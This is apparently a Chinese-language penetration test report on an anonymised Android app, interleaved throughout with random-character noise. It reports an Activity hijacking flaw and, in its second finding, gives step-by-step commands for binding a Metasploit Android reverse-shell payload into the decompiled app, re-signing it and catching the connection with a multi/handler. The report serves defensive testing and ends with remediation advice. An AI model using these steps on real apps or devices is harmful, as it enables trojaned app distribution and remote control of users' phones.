原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

' {0 l2 B7 \7 ^

- M* B S8 q# v% {( W# E( A# M

$ M0 p) M( k8 H' o T 文档编号：                6 P9 k" j+ F- z; N: l0 t" j

7 t7 x9 ]5 U- N% L+ C

) m! h O2 U: X, A. d   1 i, q! _+ H, l4 ~2 P; X

- w L' ~3 `9 U% Z

' {) ^" a, F- r9 p. I* k; A& O* Z, ^ & P! i/ L8 v1 I- S, I! [" J* J   ! E# _, S I5 x, K+ E . J) H5 s5 z; m" G* X1 w* J

( d: c4 _4 o6 {# W8 C

  + `" k4 M H8 c0 C) O ) U( N6 m% u+ a4 d2 \6 A7 s/ d

) d; ^( k |6 ?9 |: S

% P. J6 p/ h* c w/ K & O; V& s6 X. n. ?  

- z3 F$ s: b0 H

  & Q2 L( q2 T" ?9 ^$ x

0 T9 L/ S; p9 t 8 I6 O& T! Z3 s) P

' S: w% v0 S0 [; b9 ]6 u& a# Q1 m 某某某APP渗透测试 2 D9 Y* y5 A6 ^/ e& h9 G

& Q- G% E& [% C+ u/ B5 H 7 g7 t& a# d* \( N- {

+ D' W( i, f. D/ A4 W   ( z3 o- s+ A1 f& h+ M4 [0 e( Z

. P! r& _3 Y" v- M

) s) I; z! O0 J+ s& ^& o( ~  

) c7 O+ }) E# O( K( @, Z, F

$ ]+ v. w1 i; V3 \# p0 Y3 Y2 S * Q0 F5 G& k2 v/ e: E" g8 M   , {% k* l8 ^, p ~5 _8 V

. W6 A# H: c( H2 {- d I9 j& \- k

, s+ m6 w* C( z$ N4 }0 a  

; K! m1 n, }- @# ?. j% p. V

, r6 x# ?* }- ^* O: x# \ 技 术 报 告 9 K) D2 A _" I; \8 e5 n4 I

+ R) H/ Q' W! y$ u

C& Z/ V( s4 d/ t# y K2 H   * |7 M( o3 L% H& c0 @

' R: M. {) |4 T" O9 a" |   ' H# H- m- [. F; h 7 d" x J) i6 x3 e7 g

* H1 B: I8 V! Q& \. w& w2 E ! p# \6 v+ H+ a8 m: P$ y

4 |0 {. \2 o9 a: N- T ( Z1 }' c( E+ h1 ?  

9 J( y$ ~- [9 S# w$ Z; Y

' C' o; D( O y1 y9 j ; D* `$ n5 T6 W6 J0 G# a. E- B. l  

% |2 X. b4 d) c6 B1 z   9 H3 ?2 n2 a' f , @! w. m: H$ a3 Z C" W

: y( A2 s) Q4 |: {1 u/ T

4 F* |1 {& {6 k/ ^ ! K; K+ G; k8 D5 r/ O$ p- l( M/ b' P   $ G/ R8 i% f+ g7 m; W/ D) E& m

2 U, r: |1 F) r5 H : z- Y' C% p9 O

8 C% T2 c9 B9 H8 n  

6 ^( g) Y8 a2 c) v& X3 h4 x; E6 _" k

9 w; ^* z, Q, n# w' E: m' z ' M5 j3 O- b- `/ P1 M   8 a& E+ Z% ?3 T6 @$ I9 B2 | ' l0 e& B% a/ z6 Q

' N' k0 J8 O& y; l- k - |% |# G" m! r& D

  + \# j4 @- P9 y

7 I1 I$ Y; Z y5 k2 v

 

: {2 \1 o5 z9 h8 |  

9 O5 `# a ]1 B- w4 W( I9 ^

  7 ]' F2 o* t* m) Y0 Z w4 _

6 w% h/ S9 @6 P   ! n- G) g" e* |' F8 U( ^4 r

) D: N+ h7 V/ Y% U' k

" |( }: U* t; l& E+ _- V   % V6 c5 Q* @8 |8 l7 q8 }. I: ?

) Q; C4 `* e/ e8 |' O " B( D: t8 [% B/ J6 t; @

2 n, k4 E: V [" t2 M8 H5 k5 b& y   2 J$ \5 x* g2 }; A; h l

r9 [* Z4 o7 g. U( Z; G9 ?

5 Z8 }8 t0 Q% ~+ \! ] V   % \7 U$ {6 \" b4 d6 `+ p

) h' N# H" Z U3 X6 `* E$ A D   + f( F4 H5 n6 f9 k" R

  ; w) g/ [$ j9 k6 h D

' r( ?2 ] Y1 q3 J( ~! @

" x9 r3 C9 ?2 [+ t- w* p& l5 t9 O 二〇二〇年 ; y' o: V8 U+ Q/ \' R' f

4 _ E1 @0 t: I- F" k

! c' ^( U7 F1 s3 L ; S5 \. `4 h3 S( P! B: a
$ r; l0 k( A+ t! E- q# H, z$ U

- L* B6 W7 S( u! h" g5 u b4 Y7 W/ G, E

- k3 L& I1 e: [0 i6 v
; h4 W, k8 |2 d2 n' J( `! z) x 9 _; K- Z8 k. j" U4 I! j6 [. `5 K 8 b' j* H7 v5 p: P1 B

目 录 ; F5 v( V0 ?$ k+ Y, f4 r # ~1 e# t7 o% ^/ m/ C

+ L' {7 C0 ]2 _ % S" P1 S' F7 g

" ]# n) F: i7 e. f! u1 Y   3 q( c& w7 `; ^6 @7 Q+ R

1 概述... 3 " ~3 O1 a! \& z

! Q. f! G% J% S+ L4 v7 p. N

# r6 o0 N$ j) Q" k+ k& P 1.2测试时间... 3 5 Z7 }. k8 z2 r7 [

" X# O, Z" A, P3 A+ V2 ^ , v/ W- F4 E2 y# K. [9 K$ \ 1.3测试对象... 3 # [) f# \, u+ p8 g; w8 T! }

1.4测试结果... 3 # J; e% _0 a" Z v# Z; c

$ t( r F$ E* m ? 2 检测结果... 4

6 w: O4 w$ B- B. |: x3 s

3 G m$ T8 J: r4 T. T 2.1 某某某... 4 1 W! N- d- F8 n4 C& { : ~2 N& t7 w+ \+ \

* w: B& J/ A+ J$ ?& y4 T 2.1.1检测目标... 4 1 U/ G6 j) A: ^) e

, ^' x$ L) [( k$ o/ u8 B8 o

2 Z+ g6 H0 s; L0 n6 D : C7 J! Y( `) f( y, N, | 2.1.2检测结果... 4

h5 I: k# v( Y, W 6 Z1 B T- R( ` I4 ?, I* A0 s) [

( B+ q8 D6 s I( m1 D" e; K$ s / w' \6 o; l" P0 L, _% N 2.1.2.1. 4 9 r* p2 `$ `1 M1 J3 C

$ i' h7 k' |" G( k4 Z# S: b7 R0 A

2.1.2.2. 6

$ f8 s) g+ X9 D N& W, n6 ~ : }! x' U4 @: ]* X( V6 X% u2 L6 ?

" x$ r7 Z2 g0 _& n" X : Z8 J; R2 g' a9 y

% n& i4 P; r) z" u, J ! P) k( c. g1 k# ^/ G 3 Q& b6 @+ C4 ]! L

3 N& o, M" U8 K6 i7 B/ v7 f/ Z0 w( j
: H0 g- |( n0 t. E& m$ Z: r( l# ?( x " J! E; ^/ L8 _ 0 ?. k( e- E2 D3 L0 _; I( W, R* i

4 F" y4 X* I0 ]' j ' {0 b% c; S+ w) ?- k6 I5 A, E 1 概述 7 i' y; P. A& V9 X+ {& C$ r 5 o4 l7 v5 F0 p: G; D

- C1 I6 }$ b1 {9 P 1.2测试时间 # m! s# F' _" Y

* z& J5 ]# D4 J, [ 4 \( X) v! G: l4 u4 b ( m& n4 F% O8 L U/ a/ c5 f: b: t: ]: n# j0 O8 S+ _* u8 q" |" s7 q/ D! V* h' U( C8 ~' e6 v/ C2 [8 B" x2 ~# E; C9 t% g1 A; b" x7 j) [; n3 L! V% v$ d y% G# k, k/ k1 `4 @8 N. F7 ] s+ b O7 D: A: s- @ G4 F2 D! i- i* P4 Z* Q3 c" Q- b- H, j3 a2 r1 e2 R' z" ~( C, h& H! X: Q$ \4 D( [1 a- E

+ R) @0 P! m, c5 X 渗透测试时间 " d, J |' x; p8 p
- @9 L% b4 P# W6 E9 |* t# W# x4 p7 ] : Q$ v a. d. w; [$ ` 起始时间 " j3 M1 R' W, t7 h$ u' [	: k+ n+ b, D# t" o3 | " C! |' Y; C# U. Y 8 z8 w1 F }$ [0 W V0 T* _ 2020年4月6日 " T+ U, K$ P! a3 D7 z$ S9 o
; J+ t+ C( n5 C ? 结束时间 6 l5 }& n) p4 }" s, w7 w5 m0 q0 h 1 U6 U6 E$ G* Z# I7 d! Y	4 P( q }$ X# a: r3 {# J& L2 W2 x ) p* v. x* j, h 3 q+ x& i, G: B9 u; J 2020年4月9日 , ?2 k/ b/ S$ ~8 ?/ l / Z# _! s# z0 n$ v 1 h$ S' K/ H% t5 Z! T0 ^1 F+ K& r+ N

" p8 o4 x9 k1 g; v$ E% p

- |3 I5 S; R7 h( l ) l* l. u& F( ?0 a 1.3测试对象

5 z9 P& h+ D, L+ H( o

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

8 G: H. ?. H5 h, f

/ h0 @7 r7 E% y$ |2 q6 _3 ? 表1-1 检测对象 $ r% b& ?& s: ^! f

1 n4 S7 s: P/ k0 J& \$ ^ $ j0 l1 ?( s B6 B; d5 O3 `- L# ^3 ]# }3 j* I, \( m. W O7 G! s" [) r9 H7 V! Z! I1 ~, f" [( ?* M* g2 I" H( u5 R% R# T7 ]/ N; c T7 V" p$ J8 ^; X1 c4 x" X1 B3 Y6 d" t1 ] X ?" J: j' c% p! R8 b5 Q7 f4 m) a5 h o' d6 @+ i# k0 N4 D; z2 v, K* F6 ~' U9 x1 z6 M4 O2 M* d# x: j; p. O- n; J

2 D. k5 `. c1 p% Z5 j( Q . P2 B/ x2 t; A4 i, U, o 序号 6 P& M/ S) L m * Y3 K5 e s8 H4 g1 w6 v - M; y' m% Q' Z2 V2 T : N3 [' w" [/ e8 y	' k+ g8 _5 y! S ' u2 i/ a5 Y5 g0 Z 测试对象 $ [' n" X p6 j' c; @9 m# v- m; t	& W& q; A/ P0 M* ~& _4 M $ E. i! y: f! M+ w: [, X n 测试地址 . M- A1 f, Y5 N2 V - W& y7 G& ?' G; [5 [* G 4 a5 v0 ~) C6 y5 T	6 H* m& P" _2 J& b3 r ! N' [$ g) q+ H& @$ U 1 U/ x& m4 z1 R) o 安全漏洞 1 q E8 E4 u+ b8 @7 l 4 u6 r% c C* B$ b) H 8 j8 J& E2 `" h+ U+ n
4 ~8 s1 J4 |0 ]- N 1 # G( U- p4 @, `# R	( h& _/ l& @- C2 A# a7 _+ s% h 1 ^* T" c: ^% } 某某某安卓APP : j+ G* v) f$ \) N9 g) L4 ^ 1 U0 D1 i! ^" r	" }+ y% w9 R' e- d$ ?( p ) X1 C- f5 h( p   ' u1 M5 n- P P/ R / J9 x! P2 r* e$ u2 V! ?; N	" C3 R- t* s' I7 a# a* [* C0 e ! u+ }2 w5 {% U2 J% c/ B+ y, E; ^9 i ! ^5 F' c* p7 m- g 2 ( {9 p- d: l; f g7 [ 7 \- q% N3 P W" c& h8 b / g3 g( z6 N+ o% d5 E5 W

2 K, Q3 \1 d0 b Q4 E |5 t! l3 H 4 R) J: U8 J3 s I0 ]) H

1.4测试结果 4 Q( `2 G3 v0 T Y. W. y( W# M/ V 0 _+ I% M! F) W- p# Z% W4 x

2 Y, u* g: C( P) n/ n0 \4 q - j" V' V1 b6 j* r* I9 \1 t7 K

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： - j' I3 ^2 S1 z# U' x% _# |9 _

  8 D8 m0 m) x& N5 F1 \

: ]0 V6 C9 i; J! \ g: B$ k 3 A3 c; b7 ~9 d8 ]6 {# U3 Y/ H$ W) ~3 X4 p) V; q1 b( l; O5 _- c0 N# r" S: }; f6 T9 d) `0 a7 F1 Q0 y; o% Y) G6 }6 Y2 L0 A( H* o% Q0 W# L% [/ Z: T3 O/ A6 t8 b* f( j8 L. C9 l D' }; o/ j* M9 e( C: I; |+ j. P4 y' P; P. A, s# e1 h# T9 Y# B3 l- G9 b+ v2 ]- k" C$ a, |$ O+ j. `0 D' G2 v( p S6 H6 ?0 h/ B6 E6 o4 p. c3 F# c3 e# z9 |5 V2 q' g9 y7 ~0 E9 h% q5 v2 T; C+ y0 g; ~- u4 u/ @7 R! p" \6 V8 Z, m. m- f4 r0 P7 G% B5 c3 J

# x' F! M" u& N; `3 o 序号 ( x: F0 C' ]3 a d9 Q; C2 Q 8 j# |- Y( P2 n# Y 3 j$ w4 u1 v$ ]0 D& o# N q+ P; I	, e4 |$ j- H! H X1 ]% M* B9 g; R - `) T ^6 D4 h1 g : A# N. L. ?% H& a T' o3 a3 j 系统名称 4 X" b8 a s: V C N, G / ~9 t( F: H" E9 g# P' G , b8 C: h* g5 `0 l	; G" X6 z4 K; E9 a/ \) _" t& \ , [% u- g9 l9 @# F8 M; y3 ? * v( I9 D: f8 j) V0 ^/ Q 漏洞名称 , s( t0 `' s1 H. r # `/ f8 H( l; s: v, Z9 w	: @: q/ ]* h1 ^( y6 e4 S s) y : o6 N+ N: e, ^6 p- m# R3 o , Q8 H0 y n+ R' U 漏洞危害 1 C" d1 z; z2 S0 ^3 Z ; P5 I, [% x7 q+ x: k5 ]. T	# \3 p) N( h$ ]6 x ) W. o" ?7 X F& b6 y 修复结果 & r" Z: c7 m. q6 D4 r( O: [1 h % _+ M& u! p# D : X; C( E1 p- K; N$ N! m 6 F1 n6 C% m" U# ]* G: ^# ~
$ w/ @/ |; X& K: F5 T' |( J 3 m) V( h: F1 Q8 g 1 ) D/ v* `4 e5 @ : e0 @; ?0 H: q; Z% \1 J / K! h5 [+ S S2 c	6 ]. x. |% D1 r `+ U4 y ( e2 I( b: j6 o: k4 ?, V2 u5 s * _7 ~6 C7 L; d 某某某某某某APP 4 O# u8 Y) |/ t% Y; K4 o0 R 8 T) x, ^& [- l3 f$ R2 b D8 `5 `) p; d	+ Q3 N8 L- P/ K; h; d( I" d @8 i. @; Q3 r I! c4 h* m6 R ) d6 m0 y3 F! G" }$ S7 X/ Q1 m% e Activity 劫持 ) ~% h; C3 o, \( \# M% w! U# t ' D. o* G6 [# G# H . W2 S5 K |+ H0 ~ $ U: ?& u1 C- V( c1 H2 R   5 c( ?4 ^; I1 ^0 z) Y ) w: e1 x, _) B9 S. l: q! `. n	0 \8 A6 W5 T7 Z' ? , e6 d9 F6 X- n$ | 高 1 d' o$ D9 H3 i4 p$ N l& e2 t1 H% l# r5 T$ E4 T	0 g% N# Y2 ~4 `3 }5 g 8 w v% `+ u- X% `, c   6 ^7 a& |6 X! X- x& y5 I . U- C, M3 C( J, x& @ 4 V1 _5 n* i; V' U
$ e$ h: z3 o) R) ~6 b* d 2 : t& m1 ]1 k/ N( H + |4 B P* _" o5 J5 Z5 ^5 c # [5 }. P, i2 l/ b2 H8 Q H	6 R. D) z) t2 X) \9 K4 | - _$ G3 C2 k) {2 A& n & w2 h9 H' R& S7 T. N 某某某某某某APP / F v& h& O7 W) ~* O/ Y 0 w9 W# J" i* S: E/ y; `: K! v8 j	) B J _2 q0 Q4 W- w, l2 X8 g0 l4 C - @$ F1 Z: M4 m5 t 反编译二次打包捆绑木马、篡改APP代码 8 O5 H3 n3 G' Q/ C* b* c 3 U% S" n! w" k' ~% x	) S' p& ]3 ]' \6 G# f! U/ g. k Y9 X& x5 y2 j8 c% S* s p + n8 T* q* X8 {+ \! m9 W+ g5 [ 高 8 R/ ?) x! Z, [5 Y	6 _8 G) E* A/ ~3 n7 O. |1 h# x5 _   1 |5 u' V* w0 ~6 U; i , h- P4 A W x; U& u

( B5 i" j0 ?* h& r% O ) G! d: ]/ n5 u/ P. y

6 I# \8 Q$ |8 f5 X& M4 ]3 @0 Z

 

g. I: A' [% ? 表1-2 测试结果 0 ~5 I# Y0 b; p( E4 X

( c$ G/ ~2 H6 l, [. H) q/ O $ v- {( f, b6 [   ! t* m% W' a% x- y/ h+ Q

" [9 |# ^3 Z+ ?- G

- | x3 a: j! U1 |# _ + J8 |3 ?+ o# c# j! Z, F' q 2 检测结果                   

* l" t$ v% t+ P6 c9 p0 T) V# e$ |, R

2.1 某某某 ( s/ C4 U$ ~4 W1 [$ X s

, N, l" \5 |0 o( C4 f5 m$ V

5 q1 t6 y: Z8 b5 [. o- Q 2.1.1检测目标

$ a4 Q. C2 B. Y% w. L- v; O4 U 6 i2 @* M, o# U; \; Q5 d/ `

& J% U$ G9 o, a& R$ F7 F, e/ J5 T) e 目标地址： 某某某某某某APP ' z7 T W" j w

. Q0 M6 B% R5 _4 w% D 2.1.2检测结果 5 e! }: E C( ?: V. a+ a

; a7 Q1 _! r$ q. B9 H

1 u( [2 g2 a! F1 {3 w" q* o 2.1.2.1 . |% A& b" o$ r5 z& g 4 P E1 y; ]. T8 n& M, I! Y

, \$ E- P) I: @) g( N

# _) i5 M6 w, x7 s 漏洞链接地址：某某某某某某APP - c2 ^4 z" K) O' X, Q5 G% z

- w: ]- y, O9 _' [( x + D% w, @$ c* L* n

. L4 t' \9 a+ ~" l5 y 6 h" Q! r& h4 A9 o& _% ^  

漏洞分析及取证：

3 A* F# g. E @9 N

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： . R) E+ g- e: P c/ N

     / _" E! Z# b0 j# I # N+ t1 N% O! i8 L

& x' S! C0 ^: h- r5 k

# E, n/ i, g+ @: n# C. j4 l _/ x4 C                      

% o! j" M( U$ P/ O, D4 v 5 N4 {9 ^' M9 K

1 `+ O* ~9 z g ^/ {8 F$ Y

! F- F9 a+ J4 t5 d( {

& \7 S2 l" O: M, d+ S" { , h, v. n( V; G( y5 q5 w, C' i$ w! U' E 3 b( e6 X( s1 S1 r. j

/ ?" v! D# l3 }+ L7 G" c ) G* ]8 K: E4 g/ G! Z$ t3 ] * o+ s2 v+ ]% x2 c9 @ j- m- _. F

* j9 L! V) O+ D) w1 l1 v" n + {; O6 r4 M9 T; G E

$ Z$ P* Q7 E% X9 A5 b' S 漏洞危害：高 8 |9 X2 Q F# V2 X0 N& w ( U6 B: B) {3 ]4 \; v$ b; U

8 r8 {' [& T4 s+ r* q- M # E- I4 h! R% h( h: D+ c" ?5 ~+ V5 ^' S3 f K' b7 s7 P( X3 o& V- S3 A% Q( g/ t& S- B. E! i1 E' }% Q5 u/ D5 V5 q+ i! Y# @# Z3 i9 z1 z, u n* _: \. m4 N* m2 G* l% Y/ a3 c- f6 I! u* U( x$ ]5 J t" ~1 _3 u# [9 }% ?& q" v7 M# ^; s7 z' a# p7 j& c2 g9 E$ ]" y( n. G# T5 i+ C9 r! l1 {% v- Q: o" c) }0 y7 {& ~/ M% t: q `/ S5 l. Z9 z7 E" Z6 G v: a4 |0 n0 o: v

! A1 t8 s/ u R9 x" y) x' d7 ?3 Q 严重程度 $ P: X# _7 l, ^9 U# _. n4 [ , e; t; Z* M3 c: S5 X% s3 p' a, G( L3 }3 W	. e7 R5 d, [; o2 A& B2 y- { 8 X/ F# O! I' x. l 高 ! G$ Z v3 C" @/ P7 w	1 h* ]0 s# Y$ K* o* @$ R& L9 U ■ , v4 r3 e, n, |+ d( I2 ?& [3 y 2 M+ d/ ]3 V; D* ?( h	+ j l5 v1 T# }! q# D 中 ! t0 g* n; d; q6 N# j3 e, j 9 ^2 M" x" f( Z& c% [/ i+ z( M	u" D& B5 Q. Y- _0 h   ) c4 z- @% ]' T& o% K7 {: ? # r: \3 \/ q. F8 u # `) c8 V) [- u/ s, h& M2 K3 u	- o2 K! z8 Y( Z! ` 低 % G; p9 W7 g0 j D Q - R, \: r6 W+ X1 _1 o: }	' l ?6 U# u" q+ z! X 6 f% K7 H! k, B2 n6 s7 j0 K ! d' Z& t& V. N& B   ; f/ V" i* V- Y 3 u5 R3 c* J* I& ]7 I: L . g6 R: W) L- R9 U

8 l' s1 j3 F" j   # s/ k) j3 [8 r . t5 f& l3 R5 M0 b2 y9 T+ B

1 e( i) p3 o, {" z, T8 X# ? 1 t1 R: i/ }, W* H. P; ?8 j$ U

1 |! m+ P) Z6 P! [" p3 `4 c# @6 q 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

! i' \! @. w4 |, I5 K           * S7 }) m Z1 ^# u% X! t

- G! ?# ]' d: g$ H

! C& c( k+ b* m. S. \  

4 l2 Z' m& i! n/ K% H" }4 p $ P3 F$ o. B. A0 B" g6 v 2.1.2.2 $ g0 C1 `6 R) J: z% | ' ^. W$ s. o$ d; H) h4 W

: ~5 q6 q8 ^% R

1 h E& E% T2 e( U/ \3 x: Q 漏洞链接地址：某某某某某某APP & @- a- n. N% `* I1 i& d) w+ M

5 Y3 T ]/ A! I! R6 ?2 ^; S : u- V, J) v( B1 Z

; N) M2 J/ |' Q! X {5 L 漏洞分析及取证： ! [0 w7 l l) @

& w6 L) M! P1 G5 S! [# N

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： - K3 a3 q; D _- z1 H

2 ~/ c) J; H' V0 c% z

7 e: j/ v3 l, C( r# m1 _: Z6 B 用Metasploit 生成木马 apk 4 y, U1 [5 n# G: n {3 Y8 ]& B

# v1 t' o5 {0 D# P, z& J msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

: K6 s' e' q$ x; A6 x3 C 反编译目标apk和木马apk

! Q$ U. ?4 b( g2 D' O$ T

& Q$ o; P! b% V6 |; z) S apktool d target.apk
) G- ?; ~9 K8 d' g% b- U8 D ! b% U1 a0 O9 B0 Y% Q; H y apktool d cockhorse.apk ; ]+ V' u# @5 m" V+ f* H

( E# V8 @8 c4 _9 L

* s$ ^; [- u9 f- d8 l" s , T2 w! U0 o7 v9 S) G4 D3 I 木马 apk 注入目标 apk 7 @; {( m; F' `; D! `: \5 @

- k+ P. N" d$ V7 S; `

, C8 F' @0 r6 T6 n4 V; B 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ! D, u: j6 T! F 5 F6 t! E4 Z: F' Q& w/ L% i, X* m! N

8 @+ F$ l) y4 z! ]- Z. R 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 5 l" E/ z7 r& u. S" i

. N6 D) ]3 q, D" l 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 1 o1 l: s: G" k

2 @0 _% `0 ^9 a" i0 ^$ w/ N

" `" l3 U& `% l" e* Y/ c 回编译生成最终 apk

/ C! \4 Y( Y, s / _1 F$ Z2 H, g0 s* T1 Q8 f+ x

' q$ O1 C7 J- }: O! r Y 重新打包

@! S$ z2 m/ R+ m; G" e; J apktool b -o repackage.apk target_app_floder ; E; w. @6 P" J& Q! I$ N; V

1 g3 [( o H! m7 Y+ N7 N 创建签名文件，有的话可忽略此步骤 - L$ K( J; o: B0 h

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                & ^- Q9 R7 C% k& Q

! j6 b1 t9 i6 V1 a7 l 签名，以下任选其一 3 ^ B2 B, [( V

. u- e( n3 K1 D* ^/ _4 B: F8 U

& A" Y) N5 A; u* I2 {) o jarsigner 方式 # e# S7 i; j J( J& G: t' _ 1 }/ n# _8 L& B

' c* x+ ^; M; \& ?9 Q' ?

2 m( ~% H) r$ J& _1 N 0 i! x: H7 C. w& T, @9 G4 _ jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - R1 b4 z! n) s+ c

# x) i/ `5 o9 W( a5 y5 ]

# x5 m6 _# P6 a apksigner 方式

& _( A G: ^' T M% {: ?6 R1 [

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ( N8 ]2 o0 M2 G h# ?) G! d& A

" d1 t! ?3 N) [% v( d & a( h/ l& q: N/ l8 j1 c

0 F: ?$ G) z, e( d( t 如需要禁用 v2签名 添加选项--v2-signing-enabled false W4 K! ?/ r% |- |7 i. o1 i4 w # ~1 m% p+ z. K0 P2 J: p$ v' u

& A6 S3 Y9 _/ g1 D

验证，以下任选其一 ( `; t0 j- R# a% [& m

0 h1 L# v/ p* [) k3 `

( C1 S8 R' O, n jarsigner方式

0 `3 d1 Y0 s9 e: ?" i# b: I* p

0 P8 w( V q2 _) X! B% q 3 Z' d. R6 L, N; U: @$ E3 o( p1 l0 U jarsigner -verify repackaged.apk " P6 d& A5 m) C1 p" Q1 q

apksigner 方式 1 P: T0 ?0 Z! o. h% L $ X3 S: R/ @, ?. \

! U' k, Y( H2 R' N" n) h5 ~! B3 Y; I ) E0 e1 N; C5 E apksigner verify -v --print-certs repackaged.apk ! K( H1 H4 L& [" v9 h, F+ y

9 N# z5 q4 Q7 G0 W5 P keytool方式 6 Q; k* j1 K/ P ? ( W2 P* |- {- F+ S+ U# ^1 p& t0 B0 g

0 i1 D: K0 ^; i5 }

8 W* d+ |$ B4 ^$ A( H keytool -printcert -jarfile repackaged.apk " @. U$ W6 o8 _- T% N- s( b1 J: c

& f8 A) U7 K- _, ^' ?1 h # j' I, M; y+ q5 h5 G 对齐

字节对齐优化 ( ` G7 M: T+ J; Q* V2 N6 P

- m# }: z9 e( r

- v& Z5 ]* R; f& N( b' h8 ^ ) W! x$ |! R! @ zipalign -v 4 repackaged.apk final.apk 0 M! Y- \1 v0 R; G: f6 M6 ?8 U

检查是否对齐 : Y9 U3 c+ W9 g" H4 i/ c

9 f+ g! _/ n; t" ^3 A, K2 J* x ; s, V# n/ O: r& L: } zipalign -c -v 4 final.apk

+ r+ l0 c6 y( i% o. b4 m6 z& m- j! c 4 F1 Z1 e- u8 ]$ I! _ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

+ O) |% ]0 ^# H4 @ ( Z5 K7 P3 e# H6 t' E2 n( a# B' _$ L

( [8 B. s+ r5 p6 T 启动Metasploit控制台，配置参数等待上线 1 }& r7 g# H2 q% Y* S % ^3 U( F |& y9 E0 ~% U+ @+ u9 m

7 v0 [8 a3 ]; e: W ) p: _. [9 x$ k8 g

在终端依次输入如下命令

, o% x" @) W2 n/ T7 ]6 i 4 q% R3 u* m7 D; T5 `

`5 n& c* x+ t' |% f* C; F4 E" R + ?5 b) m/ O [8 Z0 n msfconsole ( m5 x: @- N! D6 {2 A

+ @& K; |4 @( t use exploit/multi/handler 6 e: H& q( T; [( ]$ z& ^6 C& K # {0 x0 }5 I1 Q) C7 w

set PAYLOAD android/meterpreter/reverse_tcp

M) k: W |" u6 b G# p$ F

set LHOST 192.xxx.xx.xx ' c+ y* r- W h4 J8 v- _! {

! Q+ X- k. A3 l& ]* w, O

set LPORT 4444 ' z; y$ j4 c' h' s( h t1 M& x 6 c% ^# g7 n u4 c. ?" v

9 N1 Y) G( i) F" K$ E, J

exploit & b: [' V% i1 s& D$ k1 s6 N+ P# h

0 G$ T% K( Y. n: Y! {5 F

% T3 R/ a) e9 L 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ; |3 h5 v! @$ k2 ]2 p

9 x* z0 D. B! B" j7 W7 M 3 F6 \& K* q8 U5 Q5 a8 e

1 k+ h% Y6 r3 |& G 漏洞危害：中 ) |) g8 Z% c. h1 |

! I7 `8 S# J- J 0 ~$ A$ Z, t+ K, T J 5 Q! ~' {" R) N9 f9 d* q0 J p9 ]/ ~3 Y6 M0 v g8 O* A, P$ B' f7 b- V) u" G# U3 g! @$ T7 v# `, J9 f* D% s1 ]+ f& [/ _3 d, m+ b1 l/ {4 {# d% J& A) p) H& |4 R2 D! t7 P* ^$ u: k9 r, e' R k7 [/ L% g( k" A4 e2 T3 }% J$ ?* \& k/ x1 s6 }" i) G9 a( P$ x6 S

6 s. e2 s- ?: X7 A' s) W( R- } ' f. e+ Z L4 O/ s" ]* m# h9 \+ M6 t; [ 严重程度 ' V/ Z- _; b! B9 T 3 f4 g8 C, u; d3 W" J2 ] / F, e/ R$ l* t3 I& H	$ x# U6 K5 [( ^+ e6 _ + z/ w7 S. u' |& a. x# o% l 高 3 w) }4 H5 l0 s: l/ } - U+ y$ r. ?0 X- r/ ^( l" Q$ X7 s6 { 3 y* m3 i4 Y" y! ]8 ^( c* ^ ' ]2 Y; R* Q7 h, o( P! ^1 J( A	# D2 J" s7 i3 a/ N0 W6 Y ' j+ {6 N2 {% }' @) L5 \3 D ■ 6 u5 @: f. w2 Y: R/ R	中 , D4 }$ C6 ?% G4 y. B+ _2 v / {2 {; F+ q: I5 A# H6 Z0 j8 e	. s; ?* h, e- |' i% U% _ 5 Q; f6 w( f, g' t* w* D ) N# X+ U6 c' A3 Q" }& |& C1 v$ F $ Z: M4 M2 L% s+ N; t   : U* c, i, p! ~ * a/ j0 y& x$ u' O2 k ( O |' ], n* }: c; c	! h/ B9 v x; W9 Y N : I+ p* E0 |! I, k. w. g( D3 J7 B. s 低 Z2 @: {& `+ Y 4 V" _" U9 n. E( p" f6 A3 s6 Y6 O	0 t1 }$ m9 K4 V0 i* s 1 k T0 `* \- |4 u) p6 D / u. m/ t* j; ]2 G: e: t9 H   w/ P0 x7 ]8 Y- p. V ; ]+ A) k) q6 ^" V& ]& {: f! Q

- B k9 c/ U' w9 [% i( n 7 t+ G- L! A+ n- c6 e" B

+ g, M' R' X, R: Y! x

  5 d# @+ T+ G8 q. f$ r- e' T7 s 9 o* Z6 c, H# ^6 B0 Q

# H* ]' b! T+ p8 s9 ^

* a/ Z2 I! P" W3 u/ m ; t3 y7 R. i9 H. u4 l) Z, e2 z 修复方法： $ I8 f: ^0 N, K; v

- a, r" `* y8 G" ` ( _4 A4 A# @ e" M: y

( U' c" w$ T' n4 _ 9 _1 G; f$ ]$ C0 ^+ I5 b# U               1.在 APP 启动时应做签名校验防止二次打包。
* N4 ]3 D5 W: s8 O/ D x& R 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 8 @4 y+ O* q% O; Y$ g% U- y

6 R+ b2 f; U7 c0 P

  ( T) w, L4 @5 p( g. E' `% f! d

